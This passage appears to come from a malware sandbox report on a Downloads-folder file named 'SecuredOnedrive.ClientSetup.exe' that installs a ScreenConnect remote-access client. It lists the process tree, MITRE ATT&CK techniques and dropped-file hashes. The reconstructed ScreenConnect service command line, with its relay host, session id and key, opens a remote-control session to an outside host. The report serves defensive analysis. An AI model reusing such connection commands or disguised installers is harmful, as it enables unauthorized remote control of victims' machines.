  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:972
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI86BF.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240682828 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:5372
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 450F0C57DB8D2AC33EE578F989B10C0B
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:5268
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding D214E2038DA2BA62B514B357A11BBFD7 C
  2⤵
  PID:5364
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIA1D4.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240755187 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    PID:2724

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
PID:5472

C:\Program Files (x86)\ScreenConnect Client (4efc3cdfd41882d9)\ScreenConnect.ClientService.exe
"C:\Program Files (x86)\ScreenConnect Client (4efc3cdfd41882d9)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-o4o0vi-relay.screenconnect.com&p=443&s=84f5ce35-e0d9-4441-b39b-f4cc84562424&k=BgIAAACkAABSU0ExAAgAAAEAAQCtIb%2fPoeHjA1vLCGZQhHwHhVlZPj0jGmN%2b8qZ%2bTsH%2bk1kVT8eObPwGRw6cWZtQfb5Ab3%2f7r7RQ6SwQEcsf4buTQYccHHE7JxQX1aUjhZ5afLon6IFYwjc%2fE0wvA78d3gFzBTzQdJTAM5kd9STWGkSevNOi79Q5wZbu76kZURPM0952FJHdenNnsU3QPQbh%2biFLcJvMOY2ZDlbWxUCjzkuPScjtO3Hyzs9yWmvfvzggMp0cqvD8Jux95Qq3pqZXvb9EfMgy7shx%2bXPCFIIVADmJwIhoXC09WJDFX1A3CpITs57XWVsg7W3nvhWwhkIVhyTuE%2bw9HymoxXn55R%2foUCa9"
1⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:5556
- C:\Program Files (x86)\ScreenConnect Client (4efc3cdfd41882d9)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (4efc3cdfd41882d9)\ScreenConnect.WindowsClient.exe" "RunRole" "85748432-cfcd-4e7c-b1e8-b5d049e742ee" "User"
  2⤵
  - Executes dropped EXE
  PID:5712
- C:\Program Files (x86)\ScreenConnect Client (4efc3cdfd41882d9)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (4efc3cdfd41882d9)\ScreenConnect.WindowsClient.exe" "RunRole" "eee87cbc-7e39-4afe-a521-6b0b69c99f6e" "System"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Checks processor information in registry
  - Modifies data under HKEY_USERS
  PID:2196

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5564

C:\Users\Admin\Downloads\SecuredOnedrive.ClientSetup.exe
"C:\Users\Admin\Downloads\SecuredOnedrive.ClientSetup.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2988
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.3.7.9067\4efc3cdfd41882d9\ScreenConnect.ClientSetup.msi"
  2⤵
  - Enumerates connected drives
  - System Location Discovery: System Language Discovery
  - Suspicious use of FindShellTrayWindow
  PID:3180

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:5304

C:\Users\Admin\Downloads\SecuredOnedrive.ClientSetup.exe
"C:\Users\Admin\Downloads\SecuredOnedrive.ClientSetup.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4364
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.3.7.9067\4efc3cdfd41882d9\ScreenConnect.ClientSetup.msi"
  2⤵
  - Enumerates connected drives
  - System Location Discovery: System Language Discovery
  PID:3908

C:\Windows\winhlp32.exe
winhlp32.exe -p
1⤵
- System Location Discovery: System Language Discovery
PID:5716

C:\Windows\helppane.exe
C:\Windows\helppane.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:392
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument microsoft-edge:https://go.microsoft.com/fwlink/?LinkId=528881
  2⤵
  PID:1424
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffdd3a146f8,0x7ffdd3a14708,0x7ffdd3a14718
    3⤵
    PID:3452

C:\Users\Admin\Downloads\SecuredOnedrive.ClientSetup.exe
"C:\Users\Admin\Downloads\SecuredOnedrive.ClientSetup.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3556
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.3.7.9067\4efc3cdfd41882d9\ScreenConnect.ClientSetup.msi"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5128

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Config.Msi\e57fa4f.rbs

Filesize
214KB

MD5
3204147bed0cd993c4cfc5b023b81db5

SHA1
51b614053975a587bb4b45a4e80be8360906bb8f

SHA256
d3feefcaf0da0c7879b4be0cb88b9c3c98af67ba8bac8e73c1f848cd593ffb19

SHA512
a99b619016b53ecc06c3f2ed785abbf4605769af77582c3bed67a007d057791e7bfb544db883dce88c467195db93b31dc9e9bc902134ee06ff8d0330ec353a07

Download Submit
C:\Config.Msi\e57fa51.rbs

Filesize
3KB

MD5
39c3f53562eaa1533448977b88bd799c

SHA1
08d543bb6e959cc9fda79a87d4d096d8111c8806

SHA256
19c0a5e2fd386470140d22f200d011bf13903d7ad136cf3936300aea49fec27a

SHA512
9e9e5e759083f7a7faf5ea35fc4f10b62b192a77d862c69271f42b5566fdbb906bb42d89add1c43202871f59a961c6cfedad432e1b0132200800b8cd339e2a65

Download Submit
C:\Config.Msi\e57fa52.rbs

Filesize
3KB

MD5
e0789b3bd7d490cbd38cd23d5395f6b4

SHA1
d17e19ad32d843791518644993f406e1038106b5

SHA256
6f3b7d322ffe0673deddda5994f4b3473b7396904f520296096c0b121fa8635a

SHA512
3a09e485da9c8f577764b77b370bf51582485a64a9ce1f7f5f987e048326c184c23c67fe16290595ff10d952244f237ee1961b8bc48cfb01961cfa64e84de597

Download Submit
C:\Program Files (x86)\ScreenConnect Client (4efc3cdfd41882d9)\Client.Override.resources

Filesize
5KB

MD5
443967b546ae41f976c855b527052379

SHA1
4a80db20a522ff72f7453da83881455e44f242bc

SHA256
d0798523effbc1156bd0955642554cd2f4d7555a3974af3362fe1b862372614e

SHA512
6798e4abb50831136042610c5a18b52e3b5cd608193a4eed54256b8d678533427419450376e0d582ebf64ccc5847dfd8f84f3c4cc88c28d25f714453f2f78691

Download Submit
C:\Program Files (x86)\ScreenConnect Client (4efc3cdfd41882d9)\Client.en-US.resources

Filesize
48KB

MD5
d524e8e6fd04b097f0401b2b668db303

SHA1
9486f89ce4968e03f6dcd082aa2e4c05aef46fcc

SHA256
07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4

SHA512
e5bc6b876affeb252b198feb8d213359ed3247e32c1f4bfc2c5419085cf74fe7571a51cad4eaaab8a44f1421f7ca87af97c9b054bdb83f5a28fa9a880d4efde5

Download Submit
C:\Program Files (x86)\ScreenConnect Client (4efc3cdfd41882d9)\Client.resources

Filesize
26KB

MD5
5cd580b22da0c33ec6730b10a6c74932

SHA1
0b6bded7936178d80841b289769c6ff0c8eead2d

SHA256
de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c

SHA512
c2494533b26128fbf8149f7d20257d78d258abffb30e4e595cb9c6a742f00f1bf31b1ee202d4184661b98793b9909038cf03c04b563ce4eca1e2ee2dec3bf787

Download Submit
C:\Program Files (x86)\ScreenConnect Client (4efc3cdfd41882d9)\ScreenConnect.Client.dll

Filesize
192KB

MD5
3724f06f3422f4e42b41e23acb39b152

SHA1
1220987627782d3c3397d4abf01ac3777999e01c

SHA256
ea0a545f40ff491d02172228c1a39ae68344c4340a6094486a47be746952e64f

SHA512
509d9a32179a700ad76471b4cd094b8eb6d5d4ae7ad15b20fd76c482ed6d68f44693fc36bcb3999da9346ae9e43375cd8fe02b61edeabe4e78c4e2e44bf71d42

Download Submit
C:\Program Files (x86)\ScreenConnect Client (4efc3cdfd41882d9)\ScreenConnect.ClientService.dll

Filesize
66KB

MD5
5db908c12d6e768081bced0e165e36f8

SHA1
f2d3160f15cfd0989091249a61132a369e44dea4

SHA256
fd5818dcdf5fc76316b8f7f96630ec66bb1cb5b5a8127cf300e5842f2c74ffca

SHA512
8400486cadb7c07c08338d8876bc14083b6f7de8a8237f4fe866f4659139acc0b587eb89289d281106e5baf70187b3b5e86502a2e340113258f03994d959328d

Download Submit
C:\Program Files (x86)\ScreenConnect Client (4efc3cdfd41882d9)\ScreenConnect.ClientService.exe

Filesize
93KB

MD5
75b21d04c69128a7230a0998086b61aa

SHA1
244bd68a722cfe41d1f515f5e40c3742be2b3d1d

SHA256
f1b5c000794f046259121c63ed37f9eff0cfe1258588eca6fd85e16d3922767e

SHA512
8d51b2cd5f21c211eb8fea4b69dc9f91dffa7bb004d9780c701de35eac616e02ca30ef3882d73412f7eab1211c5aa908338f3fa10fdf05b110f62b8ecd9d24c2

Download Submit
C:\Program Files (x86)\ScreenConnect Client (4efc3cdfd41882d9)\ScreenConnect.WindowsAuthenticationPackage.dll

Filesize
254KB

MD5
5adcb5ae1a1690be69fd22bdf3c2db60

SHA1
09a802b06a4387b0f13bf2cda84f53ca5bdc3785

SHA256
a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5

SHA512
812be742f26d0c42fdde20ab4a02f1b47389f8d1acaa6a5bb3409ba27c64be444ac06d4129981b48fa02d4c06b526cb5006219541b0786f8f37cf2a183a18a73

Download Submit
C:\Program Files (x86)\ScreenConnect Client (4efc3cdfd41882d9)\ScreenConnect.WindowsClient.exe

Filesize
588KB

MD5
1778204a8c3bc2b8e5e4194edbaf7135

SHA1
0203b65e92d2d1200dd695fe4c334955befbddd3

SHA256
600cf10e27311e60d32722654ef184c031a77b5ae1f8abae8891732710afee31

SHA512
a902080ff8ee0d9aeffa0b86e7980457a4e3705789529c82679766580df0dc17535d858fbe50731e00549932f6d49011868dee4181c6716c36379ad194b0ed69

Download Submit
C:\Program Files (x86)\ScreenConnect Client (4efc3cdfd41882d9)\ScreenConnect.WindowsClient.exe.config

Filesize
266B

MD5
728175e20ffbceb46760bb5e1112f38b

SHA1
2421add1f3c9c5ed9c80b339881d08ab10b340e3

SHA256
87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077

SHA512
fb9b57f4e6c04537e8fdb7cc367743c51bf2a0ad4c3c70dddab4ea0cf9ff42d5aeb9d591125e7331374f8201cebf8d0293ad934c667c1394dc63ce96933124e7

Download Submit
C:\Program Files (x86)\ScreenConnect Client (4efc3cdfd41882d9)\ScreenConnect.WindowsCredentialProvider.dll

Filesize
822KB

MD5
be74ab7a848a2450a06de33d3026f59e

SHA1
21568dcb44df019f9faf049d6676a829323c601e

SHA256
7a80e8f654b9ddb15dda59ac404d83dbaf4f6eafafa7ecbefc55506279de553d

SHA512
2643d649a642220ceee121038fe24ea0b86305ed8232a7e5440dffc78270e2bda578a619a76c5bb5a5a6fe3d9093e29817c5df6c5dd7a8fbc2832f87aa21f0cc

Download Submit
C:\Program Files (x86)\ScreenConnect Client (4efc3cdfd41882d9)\app.config

Filesize
1KB

MD5
c0d2cd7ac50f669700a1c10033b3587f

SHA1
ad9dcbcef8c13357ce23be47663b97e8dd713893

SHA256
f4a2f6e0647e8c0dcb43982cc437ebe61c2350ca70c5fb6fc0d27d7381477b62

SHA512
4fe71bd6929a78702cdcc4a942e1dd7970766831150313d0e145566496ed09c12e036dc492cb8a835bec87911d94394d9d3b677056e91837af4954870577ca1e

Download Submit
C:\Program Files (x86)\ScreenConnect Client (4efc3cdfd41882d9)\system.config

Filesize
964B

MD5
d586b269c0b9afe241707376c3fd42bc

SHA1
2945499f0f92ba2eb3a64c2b7d6ee3a5ac073a0f

SHA256
1b52bc5c100734625b7ba318c2b9e874274c6703808ba6f622a00e0ec0750cbd

SHA512
695e0d093d749efca9d943a6c4d45022fa64e6df1ea406ca3dba75acbbb114ba3fc6df6eff9c42c0c9756be490e15e722e5a0b9b905a67ae4ed29d688cdc5ef4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
d7cb450b1315c63b1d5d89d98ba22da5

SHA1
694005cd9e1a4c54e0b83d0598a8a0c089df1556

SHA256
38355fd694faf1223518e40bac1996bdceaf44191214b0a23c4334d5fb07d031

SHA512
df04d4f4b77bae447a940b28aeac345b21b299d8d26e28ecbb3c1c9e9a0e07c551e412d545c7dbb147a92c12bad7ae49ac35af021c34b88e2c6c5f7a0b65f6a8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
37f660dd4b6ddf23bc37f5c823d1c33a

SHA1
1c35538aa307a3e09d15519df6ace99674ae428b

SHA256
4e2510a1d5a50a94fe4ce0f74932ab780758a8cbdc6d176a9ce8ab92309f26f8

SHA512
807b8b8dc9109b6f78fc63655450bf12b9a006ff63e8f29ade8899d45fdf4a6c068c5c46a3efbc4232b9e1e35d6494f00ded5cdb3e235c8a25023bfbd823992d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
216B

MD5
58674026f6c7ed219e42588b32dad310

SHA1
0d53f69889685bc8aae0e066735280b93bc69c70

SHA256
bf06e8c844f88f77d43d46889981b2fba9572cd3ed1a52167f543007632cf40b

SHA512
3e5f2bfcf31688df1c24eff2d4394c52ff46ef9108397a8aef37270c1c02670be0d89de734dae82d032fe91ef35f09d4659341cb72fdc49c0b7c428adb010db2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
624B

MD5
3a4d447fa4e659bcd8520bb0713f09b7

SHA1
455d556266def13a92be8fb2e9838e2628218492

SHA256
b22d31a449437ecae4ff0776a2386c147545ddc2d4950a3d0611e1d950a9d034

SHA512
7aa614ed164997ffbdf43373e432fe089962c2ca4a57d2178c48a92e3534fae60b646718633832d53b236984c70acc69b4c776b3d2312ef94f9f2800f22288ed

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
492B

MD5
153c7b5998c4b7046e25cd53498c4b2b

SHA1
5e18ad9d1acc3519afa5ff5854e9bee32b0ae4d1

SHA256
18104ac7d69e99bd34e5f9687fc3963b7720ced8623823cf7b40ea85e8275f9e

SHA512
07776e9af8bf720b1ec71824828cfd3f5d493220acc819ad00c3a44576b9f3c2ed230229ac0b090cd2f2f62ae498ace3ad797ea6da1d9121d272bb7bddcd9da7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
1KB

MD5
d21dcc6ed75d12267fb72cfc02832cee

SHA1
ca1aa0c876b0c907ecbdb5b24493abcc1a909d77

SHA256
2443b7d853dab080f7f92e17151133a4656def45aca2e0ca4b9c83b2cf9f023f

SHA512
d2ff0d8b843e4a96f31aadff4bc141ad84a09e9f9a552fa10116102162b6626e8a9ac01439a84d6d77269f1bbe7401f560cd554985d8157a88ccbc4e5349b91f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
8b573e28f4d7bcdf321cd60ac3f861e9

SHA1
7d2eb15cba26af073dc09e427021e4f8a0f02765

SHA256
848851c03b0d9a8ee40da8267ea3a0530ae7bbdd1db64a6dea7ccbc71a7564ec

SHA512
a2748615edad30146c29bbdc95159c888132419f09ddff67921d70e6abe5ab54112677e5928b94b8031de3ff60b8e211d8e213f8f6b2e5d6ef3b70533b974488

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
fe61d30b10692765ca130be899538dbb

SHA1
e582df3d0b2fc423c123674f53c7acdbc7542d04

SHA256
03e2877113814ab5a804cd75a9e24cda9f21f9f81e5ce4b840d35f633525cdec

SHA512
b2e56228c489009e0164062163fa79cb3a836bdec3f9a572e79461d89fa148be2e61ed274eaed3d5abd94bc3c7effa01c0f80c98d1ae52ae2e82573fe156d61b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
3aef54bc8cba36824ba8fed8cf3edfd1

SHA1
ee3e1a3c293a7620e5ac27919d3ce905846491dc

SHA256
e05278c6ca6ad4d8b3f42ab8ad9bbd34733686c28e2c744d2792a0793cd4e8d3

SHA512
3410939b3300f19dbaaf699de2427b16c9daa5207c1f5fb0c15467cbe23f89ac0734210e9abb0f6a975611b52689e01acc28613b7f6a1c65919d1f9818bd7247

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
7KB

MD5
4dcdd5d4b67176a08cbf07ef28a972cc

SHA1
5da304bc4f64c937c346520db67edd42900b71e4

SHA256
726fcc51f8e47a38cf8390a0d067af695656aa12b80461aada05bc5fca35d74b

SHA512
e95475af05a9b3283199cff05efb699a990e12d3010c7fa5139f026eae606094e0a7228901b5b10e9b78ec10529793771e77e7926e2fb51f88a1269fc6f3709b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
1caaaa93f2925dea8563343237779165

SHA1
dfef7d6b31f565c82a9afd094664010b0eafecf9

SHA256
2c84731b7f92ba358410d81d32a03ad5398e86f9feee09505acc055a64c44b00

SHA512
1708b7b39e278fe8bc7e82378833dea04122a58c2d86eb041b778438b39173e869972a034ec7ee3499c863bccf3e8d95a31403b0b198e365c9c24c67c7b5fa88

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
6e26e00a370715dbbb6fd8793d7b12d1

SHA1
f99209f28e69fb091c965477397efa15be8d1358

SHA256
ac866d3327035db27689cfe292d3af9d6d1d3e91c9b9cc92f84b91e6a954cf14

SHA512
0ef9e669eac77367a24c53c8fd7b47900cc7dbe027d11755a12ad05584834ca646c66ef77ed1889cdd4c29e8e4806573e20081547891ea0c8b167a09539fd11a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe58ffd7.TMP

Filesize
539B

MD5
471b65f1e1c7692c1c93c5e93859bbf1

SHA1
b07530346418b5116ae88ea245400613f3f93228

SHA256
e47e1744f30a1b06b84b0c998fd6fa5c39c681edcf1d5f6d8f8fa0272288d8a7

SHA512
282c4f03b92d0c6c9c2c6454dfcf1b7e5b7c81d42b495985cc05388ebe72990779ed69d53cd315fe262d2e4610c3d9c7a1f862786c8a6b4a356c058361884e40

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
1f0862547f5f545c78857d41f934e058

SHA1
70be16bc1ce0b5054d9dac28086ae0342cf10eb4

SHA256
8c31706d8e52947dd443c29e99e11a9124b9e684436a51cb150ace2bd5ae09b6

SHA512
a818add04467428f1ddd66e98d8bc5381c2a6f2159355d3070dd8ef99c6405689390fe5d6cc8b6cfa85964870af09e920241577f299dd1f56b759adbc75d8ebb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
1696636e837390e927baa6985c44cd2e

SHA1
70b714fc0ce09cd0acb5d9d4304e39eece5e44ed

SHA256
4dd5c8cbaf73d5a5ebb1abd8d1b521feac5ed08847175736b0f3cdd5302709c8

SHA512
64aa43571e4872ecfbe6687c261f456bf29feea9111948ed2c7fb02921ce2f7504ce8b2b10bb48dcb6cd40bf32e2129181081eceea3f53822b532f13c651c833

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
afb0744247bcb3316a920dabafd65104

SHA1
0f10e6a33c4b5163189de3cde0d48da75c13a85b

SHA256
3e15ebcb96211a225117e601c59fefd84b67d29879e8664df82c1ea3117e7743

SHA512
9410b48282b16f9e33fd34eba430c4e4d4df736f15429e66c24ff1f55d9bfe62d5ee85f12168239dd64b2884474376def251ec8c9521e796689ba2a0802cc9d0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
0632349edca1d99392a8d26922341844

SHA1
1ecb6b60571af6ab72267be161204a628978bba3

SHA256
54401eb31b12618dd65deb889a34b13721045b700779bb14c37aca15d9c3f127

SHA512
55895edc030c08b3cc7a406cf0c8b5628e1a0c9ee3523ba6780093d231bb8f74ef1c13404deec7379978b0f1084a3523e47711e5ee13cf390ea29dbbeabce800

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
9a2aeeefd22b85fc8331756e8c6dbd19

SHA1
d9de67c1bfa8b85217531baa8a8b007296220c5d

SHA256
d8c69461faa33b026b48523fa26f59e9b5ad4f44d94fa01578a628d192c49daa

SHA512
735c3b2fa59b655cc60ae80df3890da2143de453021c078acd5849b7a64ebb5bc04a5be012e749e39183e8f561448997717f13d76968c9aed93943b84365ca4a

Download Submit
C:\Users\Admin\AppData\Local\Temp\MSI5251.tmp-\CustomAction.config

Filesize
234B

MD5
6f52ebea639fd7cefca18d9e5272463e

SHA1
b5e8387c2eb20dd37df8f4a3b9b0e875fa5415e3

SHA256
7027b69ab6ebc9f3f7d2f6c800793fde2a057b76010d8cfd831cf440371b2b23

SHA512
b5960066430ed40383d39365eadb3688cadadfeca382404924024c908e32c670afabd37ab41ff9e6ac97491a5eb8b55367d7199002bf8569cf545434ab2f271a

Download Submit
C:\Users\Admin\AppData\Local\Temp\MSIBA47.tmp

Filesize
1.0MB

MD5
8a8767f589ea2f2c7496b63d8ccc2552

SHA1
cc5de8dd18e7117d8f2520a51edb1d165cae64b0

SHA256
0918d8ab2237368a5cec8ce99261fb07a1a1beeda20464c0f91af0fe3349636b

SHA512
518231213ca955acdf37b4501fde9c5b15806d4fc166950eb8706e8d3943947cf85324faee806d7df828485597eceffcfa05ca1a5d8ab1bd51ed12df963a1fe4

Download Submit
C:\Users\Admin\AppData\Local\Temp\MSIBA47.tmp-\Microsoft.Deployment.WindowsInstaller.dll

Filesize
172KB

MD5
5ef88919012e4a3d8a1e2955dc8c8d81

SHA1
c0cfb830b8f1d990e3836e0bcc786e7972c9ed62

SHA256
3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d

SHA512
4544565b7d69761f9b4532cc85e7c654e591b2264eb8da28e60a058151030b53a99d1b2833f11bfc8acc837eecc44a7d0dbd8bc7af97fc0e0f4938c43f9c2684

Download Submit
C:\Users\Admin\AppData\Local\Temp\MSIBA47.tmp-\ScreenConnect.Core.dll

Filesize
536KB

MD5
14e7489ffebbb5a2ea500f796d881ad9

SHA1
0323ee0e1faa4aa0e33fb6c6147290aa71637ebd

SHA256
a2e9752de49d18e885cbd61b29905983d44b4bc0379a244bfabdaa3188c01f0a

SHA512
2110113240b7d803d8271139e0a2439dbc86ae8719ecd8b132bbda2520f22dc3f169598c8e966ac9c0a40e617219cb8fe8aac674904f6a1ae92d4ac1e20627cd

Download Submit
C:\Users\Admin\AppData\Local\Temp\MSIBA47.tmp-\ScreenConnect.InstallerActions.dll

Filesize
11KB

MD5
73a24164d8408254b77f3a2c57a22ab4

SHA1
ea0215721f66a93d67019d11c4e588a547cc2ad6

SHA256
d727a640723d192aa3ece213a173381682041cb28d8bd71781524dbae3ddbf62

SHA512
650d4320d9246aaecd596ac8b540bf7612ec7a8f60ecaa6e9c27b547b751386222ab926d0c915698d0bb20556475da507895981c072852804f0b42fdda02b844

Download Submit
C:\Users\Admin\AppData\Local\Temp\MSIBA47.tmp-\ScreenConnect.Windows.dll

Filesize
1.6MB

MD5
9ad3964ba3ad24c42c567e47f88c82b2

SHA1
6b4b581fc4e3ecb91b24ec601daa0594106bcc5d

SHA256
84a09ed81afc5ff9a17f81763c044c82a2d9e26f852de528112153ee9ab041d0

SHA512
ce557a89c0fe6de59046116c1e262a36bbc3d561a91e44dcda022bef72cb75742c8b01bedcc5b9b999e07d8de1f94c665dd85d277e981b27b6bfebeaf9e58097

Download Submit
C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.3.7.9067\4efc3cdfd41882d9\ScreenConnect.ClientSetup.msi

Filesize
11.1MB

MD5
29c9e4b351bbd39c57e2edfe7b4c0d0c

SHA1
9d9f4b1657851bf786acdd30781beb840ec9cb42

SHA256
3ec83f9b72550aef947d00a6dc7d129d998e5e3022e01a4746fa9f238dfa0be6

SHA512
e5a34a47a9873a182eee935ede4f3df2460bc2fb31d8658718e9bd9a7f04c71a00f0cf983f6a967585059238c0ca98c855bcffef9e9a8cb33329de8f07763366

Download Submit
C:\Users\Admin\Downloads\Unconfirmed 508439.crdownload

Filesize
5.4MB

MD5
3d8c035b151f3a3b1af97971e593d36d

SHA1
7942e611482606bd1eb6f589cf1f649117a926e0

SHA256
a5c4592fe672c2b3fe55bffd41a2cfaeef50e40fecc91db1a442f60c92fca332

SHA512
aa1356161550d504aa96b70a62b9b8a203f0e096f97a9c6a9892f269e0f86f170075708a681d6d161de07a7a987500a2dff53bdecadcd4492c0393d1d4f82185

Download Submit
C:\Windows\Installer\MSIFBA7.tmp

Filesize
202KB

MD5
ba84dd4e0c1408828ccc1de09f585eda

SHA1
e8e10065d479f8f591b9885ea8487bc673301298

SHA256
3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852

SHA512
7a38418f6ee8dbc66fab2cd5ad8e033e761912efc465daa484858d451da4b8576079fe90fd3b6640410edc8b3cac31c57719898134f246f4000d60a252d88290

Download Submit
\??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2

Filesize
24.1MB

MD5
f6f2d26ebacc301abc487e16a80004cc

SHA1
ae946b355ddcbffdff63274a174f4aa6a001049f

SHA256
fb74ef4fce05764953411bf119c67602ee0f8657b9ec902523c6d2c7062483bf

SHA512
581942a95926cbc7f21ed7ac3f29522b076c5739ee8f0af5429b3d4334b81336e0d4432b2bae33e9da3346ab15f471452b4ae15fa4200319ced4506190c4ba52

Download Submit
